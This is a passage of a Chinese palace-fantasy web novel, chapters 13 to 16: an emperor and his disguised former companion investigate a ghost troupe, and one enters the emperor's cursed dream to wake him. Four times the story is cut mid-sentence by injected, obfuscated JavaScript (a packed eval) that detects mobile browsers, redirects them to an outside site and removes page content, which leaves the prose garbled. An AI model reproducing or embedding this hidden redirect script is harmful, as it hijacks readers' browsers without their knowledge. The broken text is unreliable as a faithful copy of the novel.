沈青池借奏章遮掩不着痕迹地打量他,毫不意外地从他眼底看出对这身繁美服饰的嫌弃,微微一笑。 世上安有如此相像之人? 连雨年坐回原位,沈青池垂眼,两名内侍搬了张书案放到前者身前,还为他备了茶水、笔墨,和一盏明亮的烛灯。 这配置像极了他们少时一起挑灯夜读的时候,如果不是沈青池神色冷淡,没有往自己这边投来一眼,连雨年差点就以为他确认了自己的身份。 罢了,以不变应万变。 连雨年向陛下道谢,继续阅读古家班的资料。 上首,沈青池翻开择青此前调查的“丹澧”的跟脚,一扫初看时的懒散随意,一个字一个字地抠过去。 丹澧,丹家最后一位直系血脉传人,族亲俱亡,死于怪病,由于尸首已被焚烧后洒入丹桂乡松涛湖,故病因不明。 丹澧其人少言寡语,深居简出,十七岁前困守孤村,寸步不出。直到三年前的六月底,他因一场大病摧身夺魄,命在旦夕,方才不得已外出寻医,痊愈后首次展现丹家巫术,救下厉鬼缠身的大夫一家,之后游走于丹桂乡各处驱鬼救人,名声大噪。 擅长制符,略通剑法,曾在暴雨天以上古术式引天雷斩大泽鬼蛟。此情报后半段存疑,但丹澧确有引雷之法,尚不清楚是否是借天地之势。 相貌昳丽,追求者众。有惨遭拒绝之人评价他为山妖邪魅、荒村艳鬼,私以为乃是其人心胸狭窄之下的胡言乱语。 七月十九,暗卫得见真容,此人确如妖魅艳鬼。 附画像一张。 沈青池抬眼瞧了瞧专心看资料的连雨年,提笔将“妖魅艳鬼”四个字划去,批上“荒谬”二字,想了想,又把折子合上,放到火上点燃。 他或许真的是鬼。 但不可提。 “陛下,我看完了……陛下?”连雨年放下资料,抬头就看见沈青池在烧折子,不禁愣了一下。 哪个御史又说了他不爱听的?这回不扔脚边改成烧毁,难不成是让他把刚打回来的南疆六城再让出去? 应该不是。真是这样的话,被烧的应该是那个御史。 沈青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233759|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池并未回应他饱含期待的目光,将烧得只剩一角的折子扔进择青捧上的玉盆,看着它彻底烧为灰烬,才温言笑问:“丹先生怎么看?” 连雨年被他笑得又是一愣,莫名喉咙发紧,脱口而出结论:“我怀疑顾家班的人没有逃出那场山崩。” 沈青池以手支颌,扎成一束的长发自然垂落,蜿蜒着在胸前散开。 他似乎有些没来由的高兴,尽管眼底的笑意仍然覆着阴霾,比之从前的晦暗幽冷却还是强了许多:“与朕所想一致。” 古家班确实就是顾家班。 失去台柱和大部分鬼戏传承后,顾家班的班主带着部分还愿意跟随自己的成员离开了南疆。为免撞到南夭国的士兵,或是一头扎进两国战场,他们被迫绕远路,从茂林深山借道往江南走——那里是盛朝十八重城中离南疆最近的一城,到了那儿就安全了。 不巧的是,顾家班逃亡途中遇到了一场天灾。连月的兵祸加上一场突如其来的暴雨冲垮了他们行进路上一座山头,山石泥沙滚滚而下,正好将他们淹没。 没有人知道他们是如何从那场山崩中脱身,他们一行二十八人带着满身泥沙出现在江南城门口时吓坏了百姓和守城的兵士,就连当地知府也被惊动,亲自出面安置他们。 再之后,顾家班班主以死里逃生后改头换面为由,将顾家班改为古家班,取前尘灾厄作古的意思,也有纪念过往、盼望重归往日荣光的含义。 一年前,古家班从江南来到帝都,也带来了在南方富庶之地难以流行起来的诡戏。他们是第一批唱诡戏的戏班,那也正好是沈青池调动兵力,以待夺回失地的时候。 “照……先生所言,古家班成员现在是一群鬼。”沈青池隐去“丹”字,“他们伪装成普通人,费心费力宣扬诡戏,究竟有何目的?” “草民不知。据草民所想,他们三年前的解散也似另有内情,毕竟那一年恰好是先太子被鸩杀,陛下登基,时机太巧了,给我一种组织事败暂且解散,化整为零蛰伏以谋后事的感觉。”连雨年道。 “虽然人死为鬼,但大部分鬼魂并不能长期滞留人世。天道之下有轮回规则,除非执念重到能抵抗天意,否则不可能以鬼身清醒地存留三年,还能完美假扮为人……啊,这倒像是妖蛊教的手段。” 玄玉瓮里那只厉鬼组成的怪物不正是先太子用尸骸喂养出来的吗? 以尸养鬼,跟盖皮匿骨是一个路子的邪术。 连雨年的表情冷了下来。 沈青池若有所思地看着他:“原来鬼魂是可以被蕴养的吗?” 听到这话,连雨年顿时从天灵盖麻到了脚后跟,连忙打断他危险的想法:“陛下,养鬼损阳寿,伤阴鸷,而且……已经消散或进入轮回的鬼魂是无法被召回蕴养的。” “朕不过随口一说,先生紧张什么?”沈青池勾起嘴角,“朕又没说让你想办法召回小临安王的鬼魂……养在朕的身侧。” “……” 连雨年头皮发麻。 啊,是吗?你没想吗? 那你为什么笑得这么变/态? 14. 十四 小临安王这个称呼出自沈青池之口,有种黑色幽默般的荒诞感。 连雨年调整了一下表情,故作疑惑地再一次重复之前未被回答的那个问题:“陛下此话何意?据草民所知,陛下与小临安王……似乎无甚交情。” “这些市井闲谈,先生倒是很清楚,也颇在意。”沈青池托着脸,食指轻敲太阳穴,如同老僧入定般气定神闲,“他是朕的伴读,自幼入宫,与朕一同长大,何来无甚交情之说?先生事事体察入微,怎么会相信这等闲谈?” 连雨年尴尬一笑,将一个八卦上司却被贴脸拆穿的冤种打工人形象演得入木三分:“陛下见谅,是草民想当然了。” “想当然吗?朕怎么感觉先生对这一观点深信不疑?”沈青池的语气越发温和,话语间却步步紧逼,俨然一副兵临城下、风雨欲来的压迫感。 连雨年忍住挠头的冲动,别过眼想向择青求助,却见这位宫廷内相、天子心腹早已脚底抹油,带着服侍的内侍宫女通通退出殿外,还把门带上了,一瞬间不知道该先吐槽还是先敬佩。 他想过沈青池会发难,却没想到第一次试探居然来得这么猝不及防且辛辣尖刻,他甚至想不明白话题是怎么从妖蛊教转到小临安王身上的,喝牛油了这么丝滑? 正当连雨年头脑风暴之际,忽然听见上头传来一声叹息,恰好夜风吹过望月台,竹影婆娑,沙沙作响,吹得人心里怅然。 沈青池道:“朕将他葬入西山陵,葬在朕百年之后的长眠地内,为了他对先太子的残党赶尽杀绝,即便有人想要投诚,朕也拒绝,并以谋逆大罪诛之。少时我们一同生活过的殿宇,虽是祝贵妃的寝宫,朕亦妥善封存,等他某夜魂魄入梦,再与朕把臂重游,看一场旧时月色。” “……” 连雨年微微垂头,感受着脊骨一节一节挺直、僵硬的钝涩紧绷。心底飘飘忽忽的情感缓慢地坠入深海,耳边扩开一圈又一圈凄风苦雨的尖啸,再慢慢收束回心底,重归寂静。 沈青池起身向他走去,他的身影静滞于烛光里,袍袖翻卷,仿佛泛黄的山水帛画上飞扬的墨迹。 “朕素来少眠,他也从不入梦。丹先生觉得,是他心无执念,早早轮回去了。还是他心里有怨,仍然滞留于世,只是……不愿见我?” 风声变得凛冽,望月台旁的竹枝发出濒临折断的轻响。 沈青池的影子投落在连雨年面前,却似笼罩在他心上,铺天盖地地延展开来,宛若海面上掀起的万丈水墙,朝着他呼啸而落。 那里涌动着不可名状的事物,它们发出窸窸窣窣的呓语,蛊惑着连雨年再进一步,无论做出什么决定,哪怕是从沈青池给出的两个选择中二选一,也不要坐以待毙,最好轰轰烈烈地粉身碎骨。 连雨年皱起眉头,隐约掠过的不安淹没在心潮起伏里,他不动声色地反问:“陛下更希望现实是哪种猜测?” “看他心情。”沈青池盯着他,以目光丈量彼此相差无几的身高,眼睛弯了弯,“朕都能接受。” 踢皮球,陛下是专业的。 连雨年拱手道:“不如这样,待妖蛊教事了,草民试着为陛下招一次魂,倘若能唤回小临安王的魂魄,陛下可以亲自问他。” 他们自始至终没有对视,或者说,连雨年一直没有看过沈青池的眼睛。 沈青池放下嘴角,往后退了半步。 “那便这样吧。” 连雨年走出安和殿,清冷的风吹散他周身的气味,衣襟卷动间溢出宁神香的味道,不知是方才从沈青池身上带走的,还是衣服在殿内放置久了自己沾上的。 这味道太浓烈,他很不喜欢。 连雨年这样想着,却不知为何忍不住回身望进大殿。沈青池依旧坐在原位,批阅他永远看不完的折子,手腕上蹭了一点鲜红的朱砂印,横斜洇开,远远看去,就像腕部拉出了一条血痕。 某种没来由的不安再度翻涌上来,如同在心头掀起一朵浪花。 连雨年不敢忽视这少有的预感,转身给了择青一张金符:“这是平安符,公公稍后放在陛下枕边,或可让陛下做个好梦。倘若……” 他顿了顿:“倘若这符烧起来,记得马上到惠仪殿找我。” 择青神色微动,一把接过金符揣好:“是。咱家替陛下谢过丹先生好意。” 乍然风起,浓云掩去消瘦的月牙。 这一夜凉得厉害。 …… 连雨年的睡眠质量一向不错,今夜却一反常态,在床上翻来覆去半晌都没睡熟,在半梦半醒的浅眠中辗转。 昏昏沉沉间,连雨年蓦的惊醒,惠仪殿的大门正好被人推开,一名小内侍几乎是连滚带爬地冲进来,边跑边喊:“丹先生不好了!不好了!您给老祖宗的金符忽然烧了起来,他让奴婢……” 他话未说完,连雨年便掀开被子急急下床,抄起外衣随手披在肩上,风驰电掣似的冲了出去。 他的预感成真了。 匆忙回到安和殿,连雨年刚跨入寝室门槛,一阵扑面而来的阴戾邪气就让他变了脸色。 沈青池睡在床上,择青把其他人都遣了出去,独自攥着即将烧到尽头的平安符守在床边,可床前的屏风上却有一片巨大、狰狞的阴影在剧烈跳动。 阴影边沿不断突出触角、鼓包和利刺,仿佛有只怪物正站在屏风前张牙舞爪。那浓墨似的黑暗溅落在地,游蛇一般立起头部,蜿蜒爬向床榻,冲着床上的人摇头摆尾,发出窃窃私语般的嘈杂声音,令人不自觉地心烦意乱。 它们离床榻已经很近了,只是碍于择青手中的符箓还未烧尽,不敢真的近前。 择青面色铁青,汗如雨下,看到连雨年如同看见了再生父母,扯着嗓子喊道:“丹先生救命!它们水泼不着刀枪不入,我……” 话音未落,他就见连雨年低垂的指间闪出几缕金光,一股恢宏堂皇的浩然之气瞬间席卷安和殿,紧接着无尽金芒以他为中心炸开,犹如金色的闪电穿堂而过——屏风毫无损伤,上面和地下的阴影却像被掸掉的轻灰浮尘,一扫而空。 择青怔怔地瞪大眼,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233760|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到那阵金光犹如回退的藤蔓消散于连雨年掌心,平安符燃烧殆尽,才身体一软,跌坐在床下。 连雨年快步走上前去,外衣下摆随风飞扬,右手仍然紧攥着,手心爆开一团金焰,才彻底按住那条不知为何蠢蠢欲动的“土豆粉”。 他仔细打量着沈青池,与心急如焚的择青相比,这人倒是睡得安稳,眉心与心口的黑气都快满溢成黑沉沉的水洼了,他竟然还在笑。 连雨年并起双指抵在他额前,指尖又是一阵金光乱冒,看得择青冷汗直流。 他擦擦汗水,心想:丹先生果真是会引雷的,不是借天地之势。 “居然是魇魅术……找死。” 探出沈青池的状况后,连雨年冷冷地收回手,摊开右掌捧起一团金光,没进沈青池的心脏。 藏在生命线内的“土豆粉”又弹跳了一下,这次是吓的。连雨年没有理会它,五指虚按在沈青池胸前向上一抓,便有丝丝缕缕的黑气从他体内被拽出,灌入连雨年掌心。 那些黑气并非自外侵入,而像是从沈青池的骨髓中生发疯长,扒着他的骨骼、血肉不肯放,凄厉的尖啸流动在它们雾状的形体间,宛若活物。 沈青池平静的睡颜立刻起了波澜,蹙紧眉头,发出痛苦的闷哼,短促而又隐忍,仿佛在睡梦中也要端着架子,不能露怯。 连雨年的指节慢慢蜷起,加快吸收黑气的速度,但它们似乎无穷无尽,泄露了那么久仍旧没有半点减少的迹象,而宿体沈青池却已经面如金纸,似乎快要被抽空灵魂,撑不住了。 “丹先生,这……”择青觉察出不对,小声唤他。 连雨年缩回手,拧眉看着盘踞于沈青池眉心和心口的黑池,片刻后,眼中的诧异渐渐转成了然。 “你是自己堕入其中的吗……” 听到他的喃喃自语,择青连忙追问:“先生这话是什么意思?陛下到底怎么了?” “他中了魇魅术,时日太久,术法根植于骨髓,已然酿成痼疾。” 连雨年顺势坐在床边,复杂的眼神落在沈青池苍白的脸上。他又露出了笑容,似乎那即将取他性命的梦境是他的一生所求。 “魇魅术是一种咒术,跟盖皮匿骨系出同源,也是在同一时期失传。” “取被诅咒者的直系亲属,即父母、兄弟姊妹、儿孙等的颅骨、颈皮与心头血制成人偶,在它眉心、胸口钉上刻满咒术符文的长钉,即算施术成功。在那之后,中术之人一旦生出难解的执念,被钉入长钉的两个部位就会生出黑气,执念越深,黑气越重,积压时间越长,爆发时就越恐怖酷烈。” 择青脸上青一阵白一阵,喃喃问道:“陛下中这魇魅术……多久了?” “魇魅术以执念为食,中术者越想得到什么,这个术法便会制造出他一定得不到的错觉,进而加深执念。”连雨年问:“他是从何时开始的……少眠少梦?” 择青的面颊霎时褪尽血色:“三、三年前。” 连雨年用近乎冷酷的语气说道:“那他便已中术三年。” 15. 十五 看着择青难看的表情,连雨年没有告诉他另一件事。 这些偏门的邪术,其源头都来自上古巫术,只不过走错了路,将古代大巫以自身血肉加强术式的法子变成用他人血肉代替,威力与格调便也下降了不止一个档次。 正因如此,连雨年掌握的丹家秘法天生克制这些邪术,刚才他之所以没能解决魇魅术,不是因为这个术法有多特殊,而是沈青池自己不愿醒来。 支撑魇魅术最终那无解的爆发威力的是长时间的执念喂养,三年时间本不足以将沈青池体内的咒术催发至如此程度,是他作茧自缚,执念太重,才会使术法提前孵化。 又因为他近日心绪波动过大,多次生出希望又被无情地掐灭,致使七情大乱,心意难平,才会在今夜与连雨年“对峙”后彻底爆发。 如果说蛰伏阶段的魇魅术会给宿主全力制造执念难解的错觉,那么发动后的术法则会为宿主创造一个执念得到满足的幻境,让其在梦中尽享极乐,而后惊醒,最终在肉/体被侵蚀的痛苦和精神世界的崩塌中绝望死去。 换句话说,不是连雨年解不了魇魅术,而是沈青池不愿离开那个梦境。 就像执念深重的鬼魂能够抵抗轮回规则长留世间一样,在魇魅术的宿主不肯苏醒的前提下,哪怕外人找到解决之法,也救不了他。 是连雨年的出现让他心生希望,也是连雨年的否认、反驳让他滑向深渊。 三年前那点怨气绵延至今,几番曲折,成了压垮沈青池的最后一根稻草。 怎么不算是一种因果报应? 连雨年攥紧拳头,良久,深深叹了口气。 “丹先生,您别叹气啊!”择青回过神来,一把扯住连雨年的衣袖,“您神通广大,无所不能,一定可以想出办法救陛下的对不对?对不对?!” “你先冷静,办法自然是有,但……” 择青急急地打断:“好好好,有就好,‘但是’后面的内容就别说了,直接告诉奴婢您需要什么吧!” “我需要可以助我入梦的东西。”连雨年苦笑道,“不是自己入梦,是进入陛下的梦。” 择青皱眉:“什么东西有这般功效?先生您说个名字,奴婢这就去找!” 连雨年摇摇头,正想说那是神话时代的物品,如今可能只剩同名的凡物,忽然感觉掌心一痒,那根“土豆粉”趁着他放松警惕之际,从他指掌间“呲溜”一下滑了出去,扑向沈青池的眉心。 连雨年眼疾手快地拧住它的尾巴,却还是慢了一步,眼睁睁看着它半截身子探入沈青池额前那圈黑气凝成的水洼。 下一刻,连雨年忽感眼前闪过一阵阵霹雳电光,紧接着烟云散尽,豁然开朗——一轮圆月照着竹声倥偬的庭院,门内泻出如水的流光,窗下两道相对而坐的身影正在手谈,碎雪落于窗沿,被风卷着扫过公子英俊儒雅的眉眼。 “你又输了。”他的耳畔响起公子温润的嗓音,低沉含笑,带着一丝促狭,“岁寒今夜棋艺见长,十局九输啊……” 连雨年骤然惊醒,身前声画俱去,“土豆粉”被他以巫族蛮力扯了出来,正支楞在他眼前疯狂扭动,浑身上下爬满狰狞的人脸,每一张都充分表达了它的不悦。 择青瞠目结舌,呆呆看着这突然出现的奇怪东西,惊诧过后,心里直呼不愧是丹澧先生,陛下有救了! 他定了定神,刚要张口奉承,就被连雨年拍了拍肩膀,条件反射地噤声。 连雨年将“土豆粉”向上提溜,盯着它“眼睛”的位置问:“你可以带我入梦?可以就上下拍尾巴,不可以就左右摇。” “土豆粉”一顿,估计是在反应哪边是尾巴,最后点了点“头部”。 “……” 连雨年默默把它调了个个。 “择青,我现在要入梦,把陛下从梦中唤醒。”他掐紧“土豆粉”的尾巴尖,递给择青一沓平安符,“麻烦你把舒统领和白暗卫叫过来守着,记得让他们带上桃木剑。这些符箓则贴在安和殿各处,防范下咒之人的后手与暗算。” 择青长长松了口气,点头如捣蒜:“明白明白!咱家一定守好安和殿!” 连雨年颔首:“另外,此事不宜太多人知晓,陛下无子,这事传出去只怕会引起朝堂动荡,我定会在朝会开始前带回陛下。” 择青躬身行礼:“是!” 连雨年深吸一口气,把已经扭成油炸小麻花的“土豆粉”抻直,慢慢伸向沈青池的眉心。 “带我入梦吧。敢有异动,”他长睫一垂,“我就弄死你。” “……” “土豆粉”缩成了压到极限的弹簧。 …… 都说人死前会看到一生中最牵挂的画面,率先离去的重要之人亦会前来迎接。 沈青池站在一片夕阳余晖般的暮黄光海中,看二十年的记忆纷至沓来,又如走马灯般从身旁掠过、散开,百无聊赖地想:他没有来,传言果然不可信。 于是沈青池形体缩水,变成衣袍拖地的小小九皇子,被祝贵妃牵着走上长长的宫道。两旁柳色青青,那润泽的绿意爬满了每一块地砖、每一面墙壁、每一块瓦片,他看不清母妃淡然的脸,还在为她难得的亲昵高兴。 那一年的春日姗姗来迟,也可能是他的伴读小公子早到了。 缘分随着春意生发,逶迤向之后的那许多年。 少年时期值得铭记的往事乏善可陈,沈青池掠过那些没有连雨年的画面,径自走向印象最深刻的那几幕。 六岁那年,沈青池发了一场高烧,太医因九皇子为陛下薄待,医治时并不十分上心。 宫里的人情世故大抵如此,不会因为你不受宠便故意刁难,但只要关键时刻有意无意地疏漏一点,就足以让你悄无声息地消失。 那一夜,沈青池以为自己掉进了火炉,被炙烤得痛苦不堪,嗓子却沙哑到发不出半点声音。 勉强撑起红肿的眼皮,他只看见四下宫人寥寥,倒是守了他一夜的小伴读端着药凑到近前,先自己喝了一口,然后才一勺一勺喂给他。 沈青池蹲在床边,伸手抚上小连雨年熬红的眼睛:“傻孩子,试药这种事怎么能自己做?无妨,宫里的太医我已换了一轮,再不会发生这样的事了。” 走出幼时寝宫,沈青池一步跨进太学庭院,早上刚扫过的地,午后便又落满枫叶。小沈青池跪在满地金红间,抿着嘴唇又倔又傲,尚且没有练出日后心如定石的沉然。 夫子于木格窗下带读圣贤书,之乎者也朗朗上口,但他并未受文气熏陶,只静静想着卧病休息的小伴读这会儿可醒了,待会儿见到祝贵妃,要替他讨一碗酥酪配药。 倘若祝贵妃问起小连雨年为何只因一点小病就不来上学,他便还是如回答夫子那样顶撞:“夫子前日偶犯咳疾便休沐三日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233761|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他病得昏昏沉沉,为何非得来读这不能治病的圣贤书?” 只要他犯下更大的错,夫子与祝贵妃大抵就不会再罚自己的伴读了吧? “夫子是个腐儒,朽木而已,靠着祝家关系进了太学,误人子弟。皇兄年长,不必受他开蒙,祝贵妃打的一手好算盘。”沈青池站在自己身后,透过窗格望向那个一把银须也难掩尖刻的老者。 “所幸你后续劝住了这腐儒,没有让他为难我的枕岁,之后对待我们也无功无过,只是漠视。否则父皇赐下的那三尺白绫,便要第一时间变成斩你祝家九族的刮骨钢刀了。” 枫叶凋落,转眼换了一番天地。 沈青池走进了小临安王去世后的临安王府。 连雨年自小进宫,封王后也只在这里住了不到半年,这偌大的府邸几乎没有留存他多少气息,冷得令人生厌。 沈青池有些讶异,他以为自己会先走进连雨年搬出皇宫的那一夜,没曾想竟会直接来到了这里。 但也无妨,殊途同归罢了。 沈青池缓步迈过门槛,看见年轻一些的自己颓然倒在床下,打翻的酒壶在身旁缓慢滚动,壶口溢出酒水,濡湿了他玄色织金的龙袍。 他怀里抱着一只木箱,箱盖打开,里面装着一卷卷书画,纸张泛黄,笔迹陈旧。 先太子登基那一年,沈青池被迫藏拙,在祝贵妃身边装成淡泊名利的闲散皇子,琴棋书画、文韬武略,样样都矮先太子一头,必要时候还要扮演丑角,衬托他天生英才的形象。 但极偶尔的时候,沈青池憋不住内心苦闷,也会将志向才干付诸纸笔,尽情挥洒一番。尽管写完、画完后便要销毁,但这种发泄方式却最安全不过,至少除了连雨年,从来没有人发现过。 “我不是让你把它们烧掉吗?费心留着做什么?”沈青池仰头枕在床上,身旁并肩坐着年轻的帝王,眼底慢慢蓄了一圈廉价的水光,梦呓一样地喃喃道:“你从宫里离开时什么也没带走,就拎了这个箱子,还不肯让我看。我当你与我离心,有了秘密,甚至想过事败后让你陪我去死,登基后将你锁在身边……” 沈青池听得笑出了声:“蠢货。你应该早点这么做。” 他的声音与少年帝王的重叠:“我应该早点这么做……” 临安王府在他们的喟叹下坍塌,重新组合成一间小院。 朗月入怀,竹声清幽,沈青池坐在窗下烛影里,对面是沐浴暖光的故人,眉目英气却温柔,儒雅端方,沉稳如旧。 这日是惊蛰,连雨年出宫前最后一次与他下棋。 他拈起棋子,目光在棋盘上扫了一圈,有些促狭地笑道:“岁寒今夜棋艺见长,十局九输啊……” 他在唤他少有人直呼的字。 沈青池只觉体内栽进一杆老竹,被连雨年一句话催发,沿着他的骨骼脉络抽苗拔节地生长,破开那一层层朽旧钝涩的肌理,拔山涉海、剜心沥血地长出一个全新的自己。 他终于有勇气掀了棋盘,去赌第十局的决胜之机。手指捏住连雨年下巴,偏头吻了上去。 棋子和棋盘啪啪嗒嗒地掉了一地,碎声如雨。 沈青池在虚妄的梦境里吻一缕云烟,而后…… 被一只手抓着扯出了幻境。 “沈青池!” 门外一声雷鸣。 惊蛰那夜没下成的雨,终于落满了沈青池的梦境。 16. 十六 被“土豆粉”带入梦境后,连雨年并未立刻进入先前一闪而过的那个情境,而是先跟随梦境主人的视角,陪他走过前半生的所有记忆。 他们并肩行走于流光间,多数记忆片段过得很快,往往连雨年还没看清楚出现了什么,沈青池便从中穿过,任由它们碎裂在翻飞的衣角上,面色无波。 他的心绪只为生母的画像起过波澜,那一瞬间的波动在记忆之海中掀起惊涛骇浪,连雨年险些被拍出他的意识。 等掠过所有细枝末节,从连雨年也说不清是什么时候起,沈青池的梦被固化成了几个板块。每个板块藏着他一段重要,但不欲为人知的往事,他几乎是以毫无形象的奔跑姿态冲了进去。 “土豆粉”的两端缠着他们的手腕,连雨年只感觉身体一轻,也像个风筝似的被扯了进去。 于是他看到了沈青池幼时那场病,看到了他天真懵懂的回护,看到了他的眼泪与偏执,也看到了…… 他掀开棋盘时眼底的孤注一掷。 那个吻落下时,大抵是因为沈青池执念得解,魇魅术的威力达到了顶端。 连雨年顾不上惊愕,来不及多想,反手抓住“土豆粉”一扯,将沈青池拽向自己。 力的作用是相互的,沈青池能拽他,他自然也能反拽回去。 于是他顺利扣住了沈青池的手腕。 想要唤醒一个深陷梦魇的人,叫他名字是最好的办法。名字是人在世间的锚点,只要锚点仍在,不被忘却,无论身在哪处深不见底的黑暗,都可以辟出一条路来。 连雨年把沈青池拉向自己,喊他:“沈青池!” 咒术激起黑色风涛,在四面八方揭起恐怖的浪墙,灰黑色的浓烟飘溢四散,无孔不入,其中隐约可以听见怨毒的咆哮——那是被当成施术材料之人不甘的怒吼,光是听着都能感受到他撕心裂肺的痛。 它们浑融一体,试图将这个梦境变回天地最原始的状态,浑圆如鸡子,吞掉做梦之人的魂魄,再送他一场清醒。 让你沉醉美梦,让你回归现实,让你绝望而死。 魇魅术把自己混到失传的地步,从来不止是靠残忍血腥的施术方式。 沈青池惊醒的刹那,正好扑进连雨年怀里。 梦境没有触感,这一刻他却好似真真切切感受到了连雨年怀抱中的温度,暖得比先前的美梦更令人沉迷。 沈青池垂下眼帘,在他的手臂环上自己腰背时主动贴靠得更近,像一株攀缘险峰的藤蔓,成为它的一部分,也把它禁锢于自己遮天蔽日的阴影中。 璀璨金芒自连雨年体内迸发而出,犹如刺破洪荒天地的第一缕阳光,撕裂这里无穷无尽的黑暗、无休无止的渊流。破碎的黑光四散奔逃,又被一缕自他掌心弹出的银色微光追着吞噬殆尽。 沈青池看着那些同样被撕碎的幻梦与剪影,不由得微笑——一个吻便想打发他么?执念如此好解,怎么会困他整整十四年? 但能再看他一眼,便也不亏。 沈青池闭上了眼睛。 连雨年猛地睁眼,意识回体,在梦中的种种感觉也跟着褪去,只有腰间与肩头的暖意如同附骨之疽,还牢牢扒着他不放。 他垂头一看,沈青池搂着他的腰,侧头枕着他的肩膀,满脸都是刚从多梦的睡眠里苏醒的倦意,哑着嗓音懒懒道:“先生半夜不休息,为何来此扰朕好梦?” “……” 连雨年想给他一头槌,让他直接昏迷不醒。 “陛、陛下……”择青抓着符僵硬地站在一旁,“您……没事儿了?” 连雨年闻言背脊一僵,慢慢扭头看向床外,白歌庭和舒琊提着桃木剑一左一右站在屏风后,活像两位门神,此时也都跟择青一起定定看着相拥的他们,眼里的古怪几乎快要漫溢出来。 但在沈青池的目光扫过去后,他们又别过头去,站得笔直,一身浩然正气,就差在背后写上“我没看到”四个字。 择青也识相地垂下了眼。 什么是此地无银三百两啊? 连雨年看着他们,脑海中却浮现起沈青池梦中的所思所想、所作所为。 那个轻如鸿毛的吻落到了他心里的“连雨年”唇上,也落在连雨年心头,毛茸茸的触感似是猫儿尾巴尖扫过,从他心底一直痒到指尖。 连雨年耳根微热,梗着脖子说:“陛下,您可以起身了。” 沈青池眨眨眼,睫毛若有似无地蹭过他侧颈薄白的肌肤,满意地看见他耳廓上的红晕顺势流下,染红他的脖颈。 精致的喉骨微微颤抖,忽然滑动一下,沈青池还没来得及生出什么想法,便被它的主人拎着后颈放回了枕头上。 真是……熟悉的大不敬。 连雨年从床边退开,低头行礼,避过陛下越发戏谑的视线:“夜已深了,既然陛下无事,那便早些休息,以免耽误了明日的朝会。” “择青。”沈青池懒散道,“明日休沐一天,就说朕身体不适。舒琊,歌庭,赏俸一年,劳你们今夜看顾,回去歇着吧。” “是!” 两个武人应得掷地有声,走得头也不回,但刚出殿门舒琊就拉扯白歌庭,让他把自己借给他的桃木剑还回来。 还剑是不可能还剑的,就像择青默默退下,去安和殿收拾好的平安符也不会还给连雨年那样。 出来干活儿,这点“油滑”还是有的。 于是寝殿内只剩下了连雨年和沈青池。 “先生站着做什么?”沈青池笑吟吟地拍拍床沿,“来坐。” 连雨年一本正经地捶捶腿侧:“草民腿麻了,想站一会儿。” “呵……好。先生想坐再坐。”沈青池轻笑,“方才的经历让朕云里雾里,先生能否解释一二?” 连雨年定了定神,隐去他发病的缘由,只说了魇魅术的信息。 沈青池撑坐起身,倚着床头静静凝视他,不知是在认真听他说话,还是单纯只想看着他。 强忍不自在,连雨年硬着头皮说完,又补充道:“草民方才在梦境中直呼陛下名姓,是因事出紧急,实非有意对陛下不敬,望陛下见谅。另外……草民什么都没看见。” 此地无银三百两。 隔壁王二不曾偷。 连雨年绝望地想:我是沙壁。 房中安静许久,久到他已经开始考虑遁入深山野林后的第一餐吃什么,才听见一声淡淡的“嗯”。 连雨年抬眼看过去,沈青池唇角噙着浅浅笑意,不紧不慢地说:“托赖先生相助,朕才能及时从梦中脱身。若非如此,还不知道要在里面困多久。” 连雨年一愣,谨慎地措词:“陛下,魇魅术发动后,执念得解,中术人很快便会苏醒。” 只不过这时的醒和死无异,起到一个回光返照、交代后事的作用。 “朕知道。”沈青池理了理袖口,“但朕的执念没有解啊。” “……啊?” 沈青池扬起嘴角,定定注视着呆住的连雨年,轻声道:“一个吻,不够。” 又一次被提醒这事儿的连雨年:“……” 我笑你不懂魇魅术,你笑我不懂执念。 …… 许是真的累了,沈青池并未纠缠,也没有问连雨年是否看到了梦境内容,把魇魅术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233762|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞清楚后,便放他回去休息。 他甚至没再用“死而复生”试探连雨年的态度,弄得连雨年一肚子腹稿无处可说,大半夜生生憋出了胃胀感。 